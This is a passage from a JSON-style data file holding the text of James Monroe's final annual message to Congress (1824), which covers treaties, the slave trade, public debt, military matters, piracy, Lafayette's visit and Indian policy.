been\nsuspended, to be resumed hereafter under circumstances more favorable to\nsuccess, and others are still in negotiation, with the hope that they may\nbe adjusted with mutual accommodation to the interests and to the\nsatisfaction of the respective parties. It has been the invariable object\nof this Government to cherish the most friendly relations with every power,\nand on principles and conditions which might make them permanent. A\nsystematic effort has been made to place our commerce with each power on a\nfooting of perfect reciprocity, to settle with each in a spirit of candor\nand liberality all existing differences, and to anticipate and remove so\nfar as it might be practicable all causes of future variance.It having been stipulated by the 7th article of the convention of\nnavigation and commerce which was concluded on June 24th, 1822, between the\nUnited States and France, that the said convention should continue in force\nfor two years from the first of October of that year, and for an indefinite\nterm afterwards, unless one of the parties should declare its intention to\nrenounce it, in which event it should cease to operate at the end of six\nmonths from such declaration, and no such intention having been announced,\nthe convention having been found advantageous to both parties, it has since\nremained, and still remains, in force.At the time when that convention was concluded many interesting subjects\nwere left unsettled, and particularly our claim to indemnity for\nspoliations which were committed on our commerce in the late wars. For\nthese interests and claims it was in the contemplation of the parties to\nmake provision at a subsequent day by a more comprehensive and definitive\ntreaty. The object has been duly attended to since by the Executive, but as\nyet it has not been accomplished.It is hoped that a favorable opportunity will present itself for opening a\nnegotiation which may embrace and arrange all existing differences and\nevery other concern in which they have a common interest upon the accession\nof the present King of France, an event which has occurred since the close\nof the last session of Congress.With Great Britain our commercial intercourse rests on the same footing\nthat it did at the last session. By the convention of 1815, the commerce\nbetween the United States and the British dominions in Europe and the East\nIndies was arranged on a principle of reciprocity. That convention was\nconfirmed and continued in force, with slight exceptions, by a subsequent\ntreaty for the term of ten years from October 20th, 1818, the date of\nthe latter.The trade with the British colonies in the West Indies has not as yet been\narranged, by treaty or otherwise, to our satisfaction. An approach to that\nresult has been made by legislative acts, whereby many serious impediments\nwhich had been raised by the parties in defense of their respective claims\nwere removed. An earnest desire exists, and has been manifested on the part\nof this Government, to place the commerce with the colonies, likewise, on a\nfooting of reciprocal advantage, and it is hoped that the British\nGovernment, seeing the justice of the proposal and its importance to the\ncolonies, will ere long accede to it.The commissioners who were appointed for the adjustment of the boundary\nbetween the territories of the United States and those of Great Britain,\nspecified in the 5th article of the treaty of Ghent, having disagreed in\ntheir decision, and both Governments having agreed to establish that\nboundary by amicable negotiation between them, it is hoped that it may be\nsatisfactorily adjusted in that mode. The boundary specified by the 6th\narticle has been established by the decision of the commissioners. From the\nprogress made in that provided for by the 7th, according to a report\nrecently received, there is good cause to presume that it will be settled\nin the course of the ensuing year.It is a cause of serious regret that no arrangement has yet been finally\nconcluded between the two Governments to secure by joint cooperation the\nsuppression of the slave trade. It was the object of the British Government\nin the early stages of the negotiation to adopt a plan for the suppression\nwhich should include the concession of the mutual right of search by the\nships of war of each party of the vessels of the other for suspected\noffenders. This was objected to by this Government on the principle that as\nthe right of search was a right of war of a belligerent toward a neutral\npower it might have an ill effect to extend it by treaty, to an offense\nwhich had been made comparatively mild, to a time of peace.Anxious, however, for the suppression of this trade, it was thought\nadvisable, in compliance with a resolution of the House of Representatives,\nfounded on an act of Congress, to propose to the British Government an\nexpedient which should be free from that objection and more effectual for\nthe object, by making it piratical. In that mode the enormity of the crime\nwould place the offenders out of the protection of their Government, and\ninvolve no question of search or other question between the parties\ntouching their respective rights. It was believed, also, that it would\ncompletely suppress the trade in the vessels of both parties, and by their\nrespective citizens and subjects in those of other powers, with whom it was\nhoped that the odium which would thereby be attached to it would produce a\ncorresponding arrangement, and by means thereof its entire extirpation\nforever.A convention to this effect was concluded and signed in London on\nMarch 13th, 1824, by plenipotentiaries duly authorized by both\nGovernments, to the ratification of which certain obstacles have arisen\nwhich are not yet entirely removed. The difference between the parties\nstill remaining has been reduced to a point not of sufficient magnitude,\nas is presumed, to be permitted to defeat an object so near to the heart\nof both nations and so desirable to the friends of humanity throughout\nthe world. As objections, however, to the principle recommended by the\nHouse of Representatives, or at least to the consequences inseparable\nfrom it, and which are understood to apply to the law, have been raised,\nwhich may deserve a reconsideration of the whole subject, I have thought\nit proper to suspend the conclusion of a new convention until the\ndefinitive sentiments of Congress may be ascertained. The documents\nrelating to the negotiation are with that intent submitted to your\nconsideration.Our commerce with Sweden has been placed on a footing of perfect\nreciprocity by treaty, and with Russia, the Netherlands, Prussia, the free\nHanseatic cities, the Dukedom of Oldenburg, and Sardinia by internal\nregulations on each side, founded on mutual agreement between the\nrespective Governments.The principles upon which the commercial policy of the United States is\nfounded are to be traced to an early period. They are essentially connected\nwith those upon which their independence was declared, and owe their origin\nto the enlightened men who took the lead in our affairs at that important\nepoch. They are developed in their first treaty of commerce with France of\nFebruary 6th, 1778, and by a formal commission which was instituted\nImmediately after the conclusion of their Revolutionary struggle, for the\npurpose of negotiating treaties of commerce with every European power. The\nfirst treaty of the United States with Prussia, which was negotiated by\nthat commission, affords a signal illustration of those principles. The act\nof Congress of March 3rd, 1815, adopted immediately after the return of a\ngeneral peace, was a new overture to foreign nations to establish our\ncommercial relations with them on the basis of free and equal reciprocity.\nThat principle has pervaded all the acts of Congress and all the\nnegotiations of the Executive on the subject.A convention for the settlement of important questions in relation to the\nNorth West coast of this continent and its adjoining seas was concluded and\nsigned at St. Petersburg on the 5th day of April last by the minister\nplenipotentiary of the United States and plenipotentiaries of the Imperial\nGovernment of Russia. It will immediately be laid before the Senate for the\nexercise of the constitutional authority of that body with reference to its\nratification. It is proper to add that the manner in which this negotiation\nwas invited and conducted on the part of the Emperor has been very\nsatisfactory.The great and extraordinary changes which have happened in the Governments\nof Spain and Portugal within the last two years, without seriously\naffecting the friendly relations which under all of them have been\nmaintained with those powers by the United States, have been obstacles to\nthe adjustment of the particular subjects of discussion which have arisen\nwith each. A resolution of the Senate adopted at their last session called\nfor information as to the effect produced upon our relations with Spain by\nthe recognition on the part of the United States of the independent South\nAmerican Governments. The papers containing that information are now\ncommunicated to Congress.A charge d'affaires has been received from the independent Government of\nBrazil. That country, heretofore a colonial possession of Portugal, had\nsome years since been proclaimed by the Sovereign of Portugal himself an\nindependent Kingdom. Since his return to Lisbon a revolution in Brazil has\nestablished a new Government there with an imperial title, at the head of\nwhich is placed a prince, in whom the regency had been vested by the King\nat the time of his departure. There is reason to expect that by amicable\nnegotiation the independence of Brazil will ere long be recognized by\nPortugal herself.With the remaining powers of Europe, with those on the coast of Barbary,\nand with all the new South American States our relations are of a friendly\ncharacter. We have ministers plenipotentiary residing with the Republics of\nColombia and Chile, and have received ministers of the same rank from\nColumbia, Guatemala, Buenos Ayres, and Mexico. Our commercial relations\nwith all those States are mutually beneficial and increasing. With the\nRepublic of Colombia a treaty of commerce has been formed, of which a copy\nis received and the original daily expected. A negotiation for a like\ntreaty would have been commenced with Buenos Ayres had it not been\nprevented by the indisposition and lamented decease of Mr. Rodney, our\nminister there, and to whose memory the most respectful attention has been\nshewn by the Government of that Republic. An advantageous alteration in our\ntreaty with Tunis has been obtained by our consular agent residing there,\nthe official document of which when received will be laid before the\nSenate.The attention of the Government has been drawn with great solicitude to\nother subjects, and particularly to that relating to a state of maritime\nwar, involving the relative rights of neutral and belligerent in such wars.\nMost of the difficulties which we have experienced and of the losses which\nwe have sustained since the establishment of our independence have\nproceeded from the unsettled state of those rights and the extent to which\nthe belligerent claim has been carried against the neutral party.It is impossible to look back on the occurrences of the late wars in\nEurope, and to behold the disregard which was paid to our rights as a\nneutral power, and the waste which was made of our commerce by the parties\nto those wars by various acts of their respective Governments, and under\nthe pretext by each that the other had set the example, without great\nmortification and a fixed purpose never to submit to the like in future. An\nattempt to remove those causes of possible variance by friendly negotiation\nand on just principles which should be applicable to all parties could, it\nwas presumed, be viewed by none other than as a proof of an earnest desire\nto preserve those relations with every power.In the late war between France and Spain a crisis occurred in which it\nseemed probable that all controvertible principles involved in such wars\nmight be brought into discussion and settled to the satisfaction of all\nparties. Propositions having this object in view have been made to the\nGovernments of Great Britain, France, Russia, and of other powers, which\nhave been received in a friendly manner by all, but as yet no treaty has\nbeen formed with either for its accomplishment. The policy will, it is\npresumed, be persevered in, and in the hope that it may be successful.It will always be recollected that with one of the parties to those wars\nand from whom we received those injuries, we sought redress by war. From\nthe other, by whose then reigning Government our vessels were seized in\nport as well as at sea and their cargoes confiscated, indemnity has been\nexpected, but has not yet been rendered. It was under the influence of the\nlatter that our vessels were likewise seized by the Governments of Spain,\nHolland, Denmark, Sweden, and Naples, and from whom indemnity has been\nclaimed and is still expected, with the exception of Spain, by whom it has\nbeen rendered.With both parties we had abundant cause of war, but we had no alternative\nbut to resist that which was most powerful at sea and pressed us nearest at\nhome. With this all differences were settled by a treaty, founded on\nconditions fair and honorable to both, and which has been so far executed\nwith perfect good faith. It has been earnestly hoped that the other would\nof its own accord, and from a sentiment of justice and conciliation, make\nto our citizens the indemnity to which they are entitled, and thereby\nremove from our relations any just cause of discontent on our side.It is estimated that the receipts into the Treasury during the current\nyear, exclusive of loans, will exceed $18.5 millions, which, with the\nsum remaining in the Treasury at the end of the last year, amounting\nto $9,463,922.81 will, after discharging the current disbursements of\nthe year, the interest on the public debt, and upward of $11,633,011.52\nof the principal, leave a balance of more than $3 millions in the Treasury\non the first day of January next.A larger amount of the debt contracted during the late war, bearing an\ninterest of 6%, becoming redeemable in the course of the ensuing year than\ncould be discharged by the ordinary revenue, the act of the 26th of May\nauthorized a loan of $5 millions at 4.5% to meet the same. By this\narrangement an annual saving will accrue to the public of $75,000.Under the act of the 24th of May last a loan of $5 millions was authorized,\nIn order to meet the awards under the Florida treaty, which was negotiated\nat par with the Bank of the United States at 4.5%, the limit of interest\nfixed by the act. By this provision the claims of our citizens who had\nsustained so great a loss by spoliations, and from whom indemnity had been\nso long withheld, were promptly paid. For these advances the public will\nbe amply repaid at no distant day by the sale of the lands in Florida. Of\nthe great advantages resulting from the acquisition of the Territory in\nother respects too high an estimate can not be formed.It is estimated that the receipts into the Treasury during the year 1825\nwill be sufficient to meet the disbursements of the year, including the\nsum of $10 millions, which is annually appropriated by the act of\nconstituting the sinking fund to the payment of the principal and interest\nof the public debt.The whole amount of the public debt on the first of January next may be\nestimated at $86 millions, inclusive of $2.5 millions of the loan\nauthorized by the act of the 26th of May last. In this estimate is\nincluded a stock of $7 millions, issued for the purchase of that amount\nof the capital stock of the Bank of the United States, and which, as the\nstock of the bank still held by the Government will at least be fully\nequal to its reimbursement, ought not to be considered as constituting\na part of the public debt.Estimating, then, the whole amount of the public debt at $79 millions\nand regarding the annual receipts and expenditures of the Government, a\nwell-founded hope may be entertained that, should no unexpected event\noccur, the whole of the public debt may be discharged in the course of\nten years, and the Government be left at liberty thereafter to apply such\nportion of the revenue as may not be necessary for current expenses to\nsuch other objects as may be most conducive to the public security and\nwelfare. That the sums applicable to these objects will be very\nconsiderable may be fairly concluded when it is recollected that a\nlarge amount of the public revenue has been applied since the late\nwar to the construction of the public buildings in this city; to the\nerection of fortifications along the coast and of arsenals in different\nparts of the Union; to the augmentation of the Navy; to the extinguishment\nof the Indian title to large tracts of fertile territory; to the\nacquisition of Florida; to pensions to Revolutionary officers and\nsoldiers, and to invalids of the late war.On many of these objects the expense will annually be diminished and cease\nat no distant period on most of them.On the 1st of January, 1817, the public debt amounted to $123,491,965.16,\nand, notwithstanding the large sums which have been applied to these\nobjects, it has been reduced since that period $37,446,961.78. The last\nportion of the public debt will be redeemable on January 1st, 1835, and,\nwhile there is the best reason to believe that the resources of the\nGovernment will be continually adequate to such portions of it as may\nbecome due in the interval, it is recommended to Congress to seize every\nopportunity which may present itself to reduce the rate of interest on\nevery part thereof. The high state of the public credit and the great\nabundance of money are at this time very favorable to such a result. It\nmust be very gratifying to our fellow citizens to witness this flourishing\nstate of the public finances when it is recollected that no burthen\nwhatever has been imposed upon them.The military establishment in all its branches, in the performance of the\nvarious duties assigned to each, justifies the favorable view which was\npresented of the efficiency of its organization at the last session. All\nthe appropriations have been regularly applied to the objects intended by\nCongress, and so far as the disbursements have been made the accounts have\nbeen rendered and settled without loss to the public.The condition of the Army itself, as relates to the officers and men, in\nscience and discipline is highly respectable. The Military Academy, on\nwhich the Army essentially rests, and to which it is much indebted for this\nstate of improvement, has attained, in comparison with any other\ninstitution of a like kind, a high degree of perfection.Experience, however, has shewn that the dispersed condition of the corps of\nartillery is unfavorable to the discipline of that important branch of the\nmilitary establishment. To remedy this inconvenience, eleven companies have\nbeen assembled at the fortification erected at Old Point Comfort as a\nschool for artillery instruction, with intention as they shall be perfected\nin the various duties of that service to order them to other posts, and, to\nsupply their places with other companies for instruction in like manner. In\nthis mode a complete knowledge of the science and duties of this arm will\nbe extended throughout the whole corps of artillery. But to carry this\nobject fully into effect will require the aid of Congress, to obtain which\nthe subject is now submitted to your consideration.Of the progress which has been made in the construction of fortifications\nfor the permanent defense of our maritime frontier, according to the plan\ndecided on and to the extent of the existing appropriations, the report of\nthe Secretary of War, which is herewith communicated, will give a detailed\naccount. Their final completion can not fail to give great additional\nsecurity to that frontier, and to diminish proportionably the expense of\ndefending it in the event of war.The provisions in several acts of Congress of the last session for the\nimprovement of the navigation of the Mississippi and the Ohio, of the\nharbor of Presqu'isle, on Lake Erie, and the repair of the Plymouth beach\nare in a course of regular execution; and there is reason to believe that\nthe appropriation in each instance will be adequate to the object. To carry\nthese improvements fully into effect, the superintendence of them has been\nassigned to officers of the Corps of Engineers.Under the act of 30th April last, authorizing the President to cause a\nsurvey to be made, with the necessary plans and estimates, of such roads\nand canals as he might deem of national importance in a commercial or\nmilitary point of view, or for the transportation of the mail, a board has\nbeen instituted, consisting of two distinguished officers of the Corps of\nEngineers and a distinguished civil engineer, with assistants, who have\nbeen actively employed in carrying into effect the object of the act. They\nhave carefully examined the route between the Potomac and the Ohio rivers;\nbetween the latter and Lake Erie; between the Alleghany and the\nSusquehannah; and the routes between the Delaware and the Raritan,\nBarnstable and Buzzards Bay, and between Boston Harbor and Narraganset Bay.\nSuch portion of the Corps of Topographical Engineers as could be spared\nfrom the survey of the coast has been employed in surveying the very\nimportant route between the Potomac and the Ohio. Considerable progress has\nbeen made in it, but the survey can not be completed until the next season.\nIt is gratifying to add, from the view already taken, that there is good\ncause to believe that this great national object may be fully\naccomplished.It is contemplated to commence early in the next season the execution of\nthe other branch of the act--that which relates to roads--and with the\nsurvey of a route from this city, through the Southern States, to New\nOrleans, the importance of which can not be too highly estimated. All the\nofficers of both the corps of engineers who could be spared from other\nservices have been employed in exploring and surveying the routes for\ncanals. To digest a plan for both objects for the great purposes specified\nwill require a thorough knowledge of every part of our Union and of the\nrelation of each part to the others and of all to the seat of the General\nGovernment. For such a digest it will be necessary that the information be\nfull, minute, and precise.With a view to these important objects, I submit to the consideration of\nthe Congress the propriety of enlarging both the corps of engineers--the\nmilitary and topographical. It need scarcely be remarked that the more\nextensively these corps are engaged in the improvement of their country, in\nthe execution of the powers of Congress, and in aid of the States in such\nimprovements as lie beyond that limit, when such aid is desired, the\nhappier the effect will be in many views of which the subject is\nperceptible. By profiting of their science the works will always be well\nexecuted, and by giving to the officers such employment our Union will\nderive all the advantage, in peace as well as in war, from their talents\nand services which they can afford. In this mode, also, the military will\nbe incorporated with the civil, and unfounded and injurious distinctions\nand prejudices of every kind be done away. To the corps themselves this\nservice can not fail to be equally useful, since by the knowledge they\nwould thus acquire they would be eminently better qualified in the event of\nwar for the great purposes for which they were instituted.Our relations with the Indian tribes within our limits have not been\nmaterially changed during the year. The hostile disposition evinced by\ncertain tribes on the Missouri during the last year still continues, and\nhas extended in some degree to those on the Upper Mississippi and the Upper\nLakes. Several parties of our citizens have been plundered and murdered by\nthose tribes. In order to establish relations of friendship with them,\nCongress at the last session made an appropriation for treaties with them\nand for the employment of a suitable military escort to accompany and\nattend the commissioners at the places appointed for the negotiations. This\nobject has not been effected. The season was too far advanced when the\nappropriation was made and the distance too great to permit it, but\nmeasures have been taken, and all the preparations will be completed to\naccomplish it at an early period in the next season.Believing that the hostility of the tribes, particularly on the Upper\nMississippi and the Lakes, is in no small degree owing to the wars which\nare carried on between the tribes residing in that quarter, measures have\nbeen taken to bring about a general peace among them, which, if successful,\nwill not only tend to the security of our citizens, but be of great\nadvantage to the Indians themselves.With the exception of the tribes referred to, our relations with all the\nothers are on the same friendly footing, and it affords me great\nsatisfaction to add that they are making steady advances in civilization\nand the improvement of their condition. Many of the tribes have already\nmade great progress in the arts of civilized life. This desirable result\nhas been brought about by the humane and persevering policy of the\nGovernment, and particularly by means of the appropriation for the\ncivilization of the Indians. There have been established under the\nprovisions of this act 32 schools, containing 916 scholars, who are well\ninstructed in several branches of literature, and likewise in agriculture\nand the ordinary arts of life.Under the appropriation to authorize treaties with the Creeks and Quaupaw\nIndians commissioners have been appointed and negotiations are now pending,\nbut the result is not yet known.For more full information respecting the principle which has been adopted\nfor carrying into effect the act of Congress authorizing surveys, with\nplans and estimates for canals and roads, and on every other branch of duty\nincident to the Department of War, I refer you to the report of the\nSecretary.The squadron in the Mediterranean has been maintained in the extent which\nwas proposed in the report of the Secretary of the Navy of the last year,\nand has afforded to our commerce the necessary protection in that sea.\nApprehending, however, that the unfriendly relations which have existed\nbetween Algiers and some of the powers of Europe might be extended to us,\nit has been thought expedient to augment the force there, and in\nconsequence the North Carolina, a ship of the line, has been prepared, and\nwill sail in a few days to join it.The force employed in the Gulf of Mexico and in the neighboring seas for\nthe suppression of piracy has likewise been preserved essentially in the\nstate in which it was during the last year. A persevering effort has been\nmade for the accomplishment of that object, and much protection has thereby\nbeen afforded to our commerce, but still the practice is far from being\nsuppressed. From every view which has been taken of the subject it is\nthought that it will be necessary rather to augment than to diminish our\nforce in that quarter.There is reason to believe that the piracies now complained of are\ncommitted by bands of robbers who inhabit the land, and who, by preserving\ngood intelligence with the towns and seizing favorable opportunities, rush\nforth and fall on unprotected merchant vessels, of which they make an easy\nprey. The pillage thus taken they carry to their lurking places, and\ndispose of afterwards at prices tending to seduce the neighboring\npopulation.This combination is understood to be of great extent, and is the more to be\ndeprecated because the crime of piracy is often attended with the murder of\nthe crews, these robbers knowing if any survived their lurking places would\nbe exposed and they be caught and punished. That this atrocious practice\nshould be carried to such extent is cause of equal surprise and regret. It\nis presumed that it must be attributed to the relaxed and feeble state of\nthe local governments, since it is not doubted, from the high character of\nthe governor of Cuba, who is well known and much respected here, that if he\nhad the power he would promptly suppress it. Whether those robbers should\nbe pursued on the land, the local authorities be made responsible for these\natrocities, or any other measure be resorted to to suppress them, is\nsubmitted to the consideration of Congress.In execution of the laws for the suppression of the slave trade a vessel\nhas been occasionally sent from that squadron to the coast of Africa with\norders to return thence by the usual track of the slave ships, and to seize\nany of our vessels which might be engaged in that trade. None have been\nfound, and it is believed that none are thus employed. It is well known,\nhowever, that the trade still exists under other flags.The health of our squadron while at Thompsons Island has been much better\nduring the present than it was the last season. Some improvements have been\nmade and others are contemplated there which, it is believed, will have a\nvery salutary effect.On the Pacific, our commerce has much increased, and on that coast, as well\nas on that sea, the United States have many important interests which\nrequire attention and protection. It is thought that all the considerations\nwhich suggested the expediency of placing a squadron on that sea operate\nwith augmented force for maintaining it there, at least in equal extent.For detailed information respecting the state of our maritime force on each\nsea, the improvement necessary to be made on either in the organization of\nthe naval establishment generally, and of the laws for its better\ngovernment I refer you to the report of the Secretary of the Navy, which is\nherewith communicated.The revenue of the Post Office Department has received a considerable\naugmentation in the present year. The current receipts will exceed the\nexpenditures, although the transportation of the mail within the year has\nbeen much increased. A report of the Post Master General, which is\ntransmitted, will furnish in detail the necessary information respecting\nthe administration and present state of this Department.In conformity with a resolution of Congress of the last session, an\ninvitation was given to General Lafayette to visit the United States, with\nan assurance that a ship of war should attend at any port of France which\nhe might designate, to receive and convey him across the Atlantic, whenever\nit might be convenient for him to sail. He declined the offer of the public\nship from motives of delicacy, but assured me that he had long intended and\nwould certainly visit our Union in the course of the present year.In August last he arrived at New York, where he was received with the\nwarmth of affection and gratitude to which his very important and\ndisinterested services and sacrifices in our Revolutionary struggle so\neminently entitled him. A corresponding sentiment has since been manifested\nin his favor throughout every portion of our Union, and affectionate\ninvitations have been given him to extend his visits to them. To these he\nhas yielded all the accommodation in his power. At every designated point\nof rendezvous the whole population of the neighboring country has been\nassembled to greet him, among whom it has excited in a peculiar manner the\nsensibility of all to behold the surviving members of our Revolutionary\ncontest, civil and military, who had shared with him in the toils and\ndangers of the war, many of them in a decrepit state. A more interesting\nspectacle, it is believed, was never witnessed, because none could be\nfounded on purer principles, none proceed from higher or more disinterested\nmotives. That the feelings of those who had fought and bled with him in a\ncommon cause should have been much excited was natural.There are, however, circumstances attending these interviews which pervaded\nthe whole community and touched the breasts of every age, even the youngest\namong us. There was not an individual present who had not some relative who\nhad not partaken in those scenes, nor an infant who had not heard the\nrelation of them. But the circumstance which was most sensibly felt, and\nwhich his presence brought forcibly to the recollection of all, was the\ngreat cause in which we were engaged and the blessings which we have\nderived from our success in it.The struggle was for independence and liberty, public and personal, and in\nthis we succeeded. The meeting with one who had borne so distinguished a\npart in that great struggle, and from such lofty and disinterested motives,\ncould not fail to affect profoundly every individual and of every age. It\nis natural that we should all take a deep interest in his future welfare,\nas we do. His high claims on our Union are felt, and the sentiment\nuniversal that they should be met in a generous spirit. Under these\nimpressions I invite your attention to the subject, with a view that,\nregarding his very important services, losses, and sacrifices, a provision\nmay be made and tendered to him which shall correspond with the sentiments\nand be worthy the character of the American people.In turning our attention to the condition of the civilized world, in which\nthe United States have always taken a deep interest, it is gratifying to\nsee how large a portion of it is blessed with peace. The only wars which\nnow exist within that limit are those between Turkey and Greece, in Europe,\nand between Spain and the new Governments, our neighbors, in this\nhemisphere. In both these wars the cause of independence, of liberty and\nhumanity, continues to prevail.The success of Greece, when the relative population of the contending\nparties is considered, commands our admiration and applause, and that it\nhas had a similar effect with the neighboring powers is obvious. The\nfeeling of the whole civilized world is excited in a high degree in their\nfavor. May we not hope that these sentiments, winning on the hearts of\ntheir respective Governments, may lead to a more decisive result; that they\nmay produce an accord among them to replace Greece on the ground which she\nformerly held, and to which her heroic exertions at this day so eminently\nentitle her?With respect to the contest to which our neighbors are a party, it is\nevident that Spain as a power is scarcely felt in it. These new States had\ncompletely achieved their independence before it was acknowledged by the\nUnited States, and they have since maintained it with little foreign\npressure. The disturbances which have appeared in certain portions of that\nvast territory have proceeded from internal causes, which had their origin\nin their former Governments and have not yet been thoroughly removed.It is manifest that these causes are daily losing their effect, and that\nthese new States are settling down under Governments elective and\nrepresentative in every branch, similar to our own. In this course we\nardently wish them to persevere, under a firm conviction that it will\npromote their happiness. In this, their career, however, we have not\ninterfered, believing that every people have a right to institute for\nthemselves the government which, in their judgment, may suit them best.Our example is before them, of the good effect of which, being our\nneighbors, they are competent judges, and to their judgment we leave it, in\nthe expectation that other powers will pursue the same policy. The deep\ninterest which we take in their independence, which we have acknowledged,\nand in their enjoyment of all the rights incident thereto, especially in\nthe very important one of instituting their own Governments, has been\ndeclared, and is known to the world.Separated as we are from Europe by the great Atlantic Ocean, we can have no\nconcern in the wars of the European Governments nor in the causes which\nproduce them. The balance of power between them, into whichever scale it\nmay turn in its various vibrations, can not affect us. It is the interest\nof the United States to preserve the most friendly relations with every\npower and on conditions fair, equal, and applicable to all.But in regard to our neighbors our situation is different. It is impossible\nfor the European Governments to interfere in their concerns, especially in\nthose alluded to, which are vital, without affecting us; indeed, the motive\nwhich might induce such interference in the present state of the war\nbetween the parties, if a war it may be called, would appear to be equally\napplicable to us. It is gratifying to know that some of the powers with\nwhom we enjoy a very friendly intercourse, and to whom these views have\nbeen communicated, have appeared to acquiesce in them.The augmentation of our population with the expansion of our Union and\nincreased number of States have produced effects in certain branches of our\nsystem which merit the attention of Congress. Some of our arrangements, and\nparticularly the judiciary establishment, were made with a view to the\noriginal thirteen States only. Since then the United States have acquired\na vast extent of territory; eleven new States have been admitted into the\nUnion, and Territories have been laid off for three others, which will\nlikewise be admitted at no distant day.An organization of the Supreme Court which assigns the judges any portion\nof the duties which belong to the inferior, requiring their passage over so\nvast a space under any distribution of the States that may now be made, if\nnot impracticable in the execution, must render it impossible for them to\ndischarge the duties of either branch with advantage to the Union. The\nduties of the Supreme Court would be of great importance if its decisions\nwere confined to the ordinary limits of other tribunals, but when it is\nconsidered that this court decides, and in the last resort, on all the\ngreat questions which arise under our Constitution, involving those between\nthe United States individually, between the States and the United States,\nand between the latter and foreign powers, too high an estimate of their\nimportance can not be formed. The great interests of the nation seem to\nrequire that the judges of the Supreme Court should be exempted from every\nother duty than those which are incident to that high trust. The\norganization of the inferior courts would of course be adapted to\ncircumstances. It is presumed that such an one might be formed as would\nsecure an able and faithful discharge of their duties, and without any\nmaterial augmentation of expense.The condition of the aborigines within our limits, and especially those who\nare within the limits of any of the States, merits likewise particular\nattention. Experience has shown that unless the tribes be civilized they\ncan never be incorporated into our system in any form whatever. It has\nlikewise shown that in the regular augmentation of our population with the\nextension of our settlements their situation will become deplorable, if\ntheir extinction is not menaced.Some well-digested plan which will rescue them from such calamities is due\nto their rights, to the rights of humanity, and to the honor of the nation.\nTheir civilization is indispensable to their safety, and this can be\naccomplished only by degrees. The process must commence with the infant\nstate, through whom some effect may be wrought on the parental.\nDifficulties of the most serious character present themselves to the\nattainment of this very desirable result on the territory on which they now\nreside. To remove them from it by force, even with a view to their own\nsecurity and happiness, would be revolting to humanity and utterly\nunjustifiable. Between the limits of our present States and Territories and\nthe Rocky Mountains and Mexico there is a vast territory to which they\nmight be invited with inducements which might be successful. It is thought\nif that territory should be divided into districts by previous agreement\nwith the tribes now residing there and civil governments be established in\neach, with schools for every branch of instruction in literature and the\narts of civilized life, that all the tribes now within our limits might\ngradually be drawn there. The execution of this plan would necessarily be\nattended with expense, and that not inconsiderable, but it is doubted\nwhether any other can be devised which would be less liable to that\nobjection or more likely to succeed.In looking to the interests which the United States have on the Pacific\nOcean and on the western coast of this continent, the propriety of\nestablishing a military post at the mouth of the Columbia River, or at some\nother point in that quarter within our acknowledged limits, is submitted to\nthe consideration of Congress. Our commerce and fisheries on that sea and\nalong the coast have much increased and are increasing. It is thought that\na military post, to which our ships of war might resort, would afford\nprotection to every interest, and have a tendency to conciliate the tribes\nto the North West, with whom our trade is extensive. It is thought also\nthat by the establishment of such a post the intercourse between our\nWestern States and Territories and the Pacific and our trade with the\ntribes residing in the interior on each side of the Rocky Mountains would\nbe essentially promoted. To carry this object into effect the appropriation\nof an adequate sum to authorize the employment of a frigate, with an\nofficer of the Corps of Engineers, to explore the mouth of the Columbia\nRiver and the coast contiguous thereto, to enable the Executive to make\nsuch establishment at the most suitable point, is recommended to Congress.It is thought that attention is also due to the improvement of this city.\nThe communication between the public buildings and in various other parts\nand the grounds around those buildings require it. It is presumed also that\nthe completion of the canal from the Tiber to the Eastern Branch would have\na very salutary effect. Great exertions have been made and expenses\nincurred by the citizens in improvements of various kinds; but those which\nare suggested belong exclusively to the Government, or are of a nature to\nrequire expenditures beyond their resources. The public lots which are\nstill for sale would, it is not doubted, be more than adequate for these\npurposes.From the view above presented it is manifest that the situation of the\nUnited States is in the highest degree prosperous and happy. There is no\nobject which as a people we can desire which we do not possess or which is\nnot within our reach. Blessed with governments the happiest which the world\never knew, with no distinct orders in society or divided interests in any\nportion of the vast territory over which their dominion extends, we have\nevery motive to cling together which can animate a virtuous and enlightened\npeople. The great object is to preserve these blessings, and to hand them\ndown to the latest posterity.Our experience ought to satisfy us that our progress under the most correct\nand provident policy will not be exempt from danger. Our institutions form\nan important epoch in the history of the civilized world. On their\npreservation and in their utmost purity everything will depend. Extending\nas our interests do to every part of the inhabited globe and to every sea\nto which our citizens are carried by their industry and enterprise, to\nwhich they are invited by the wants of others, and have a right to go, we\nmust either protect them in the enjoyment of their rights or abandon them\nin certain events to waste and desolation.Our attitude is highly interesting as relates to other powers, and\nparticularly to our southern neighbors. We have duties to perform with\nregard to all to which we must be faithful. To every kind of danger we\nshould pay the most vigilant and unceasing attention, remove the cause\nwhere it may be practicable, and be prepared to meet it when inevitable.Against foreign danger the policy of the Government seems to be already\nsettled. The events of the late war admonished us to make our maritime\nfrontier impregnable by a well-digested chain of fortifications, and to\ngive efficient protection to our commerce by augmenting our Navy to a\ncertain extent, which has been steadily pursued, and which it is incumbent\nupon us to complete as soon as circumstances will permit. In the event of\nwar it is on the maritime frontier that we shall be assailed. It is in that\nquarter, therefore, that we should be prepared to meet the attack. It is\nthere that our whole force will be called into action to prevent the\ndestruction of our towns and the desolation and pillage of the interior.To give full effect to this policy great improvements will be\nindispensable. Access to those works by every practicable communication\nshould be made easy and in every direction. The intercourse between every\npart of our Union should also be promoted and facilitated by the exercise\nof those powers which may comport with a faithful regard to the great\nprinciples of our Constitution. With respect to internal causes, those\ngreat principles point out with equal certainty the policy to be pursued.Resting on the people as our Governments do, State and National, with\nwell-defined powers, it is of the highest importance that they severally\nkeep within the limits prescribed to them. Fulfilling that sacred duty, it\nis of equal importance that the movement between them be harmonious, and in\ncase of any disagreement, should any such occur, a calm appeal be made to\nthe people, and that their voice be heard and promptly obeyed. Both\nGovernments being instituted for the common good, we can not fail to\nprosper while those who made them are attentive to the conduct of their\nrepresentatives and control their measures. In the pursuit of these great\nobjects let a generous spirit and national views and feelings be indulged,\nand let every part recollect that by cherishing that spirit and improving\nthe condition of the others in what relates to their welfare the general\ninterest will not only be promoted, but the local advantage be reciprocated\nby all.I can not conclude this communication, the last of the kind which I shall\nhave to make, without recollecting with great sensibility and heart felt\ngratitude the many instances of the public confidence and the generous\nsupport which I have received from my fellow citizens in the various trusts\nwith which I have been honored. Having commenced my service in early youth,\nand continued it since with few and short intervals, I have witnessed the\ngreat difficulties to which our Union has been surmounted. From the present\nprosperous and happy state I derive a gratification which I can not\nexpress. That these blessings may be preserved and perpetuated will be the\nobject of my fervent and unceasing prayers to the Supreme Ruler of the\nUniverse.", 
+    "name": "James Monroe"
+}
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+{
+    "date": "November 14, 1820", 
